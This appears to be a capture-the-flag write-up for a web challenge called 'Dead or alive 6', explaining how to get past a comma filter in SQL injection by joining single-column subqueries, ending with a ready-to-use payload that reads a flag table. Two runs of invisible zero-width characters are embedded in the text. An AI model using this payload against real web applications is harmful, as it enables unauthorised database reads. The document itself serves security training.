Dead or alive 6

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: commaless_union_injection, join_comma_bypass

Summary

Walkthrough of the CUSTOM Web Dead or alive 6. Task: SQL injection with comma character filtered. Solution: Use JOIN technique to bypass comma filter - each subquery returns one column and JOIN combines them without commas.

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/sqli/bypass6/

Comma character is filtered, preventing standard UNION SELECT with multiple columns.

Analysis

Standard UNION SELECT requires commas to enumerate columns:

 sql read-only • copy allowed Copy
UNION SELECT 1, 2, 3, flag FROM secret_table

When the comma is filtered, an alternative method is needed to create multiple columns.

Solution

JOIN technique for comma bypass

Each subquery in parentheses returns one column. JOIN combines them without using commas: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 sql read-only • copy allowed Copy
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

This is equivalent to UNION SELECT 1, 2, 3, but without commas.

Payload structure

 sql read-only • copy allowed Copy
UNION SELECT * FROM 
    (SELECT 1)a 
    JOIN (SELECT 2)b 
    JOIN (SELECT flag FROM secret_table)c

Where:

• (SELECT 1)a — subquery with alias a, returns a column with value 1
• JOIN — combines results without commas
• Number of JOINs must match the number of columns in the original query minus 1

Final payload

 sql read-only • copy allowed Copy
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT flag FROM secret_table)c--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering commaless_union_injection, join_comma_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 6 • Difficulty: Easy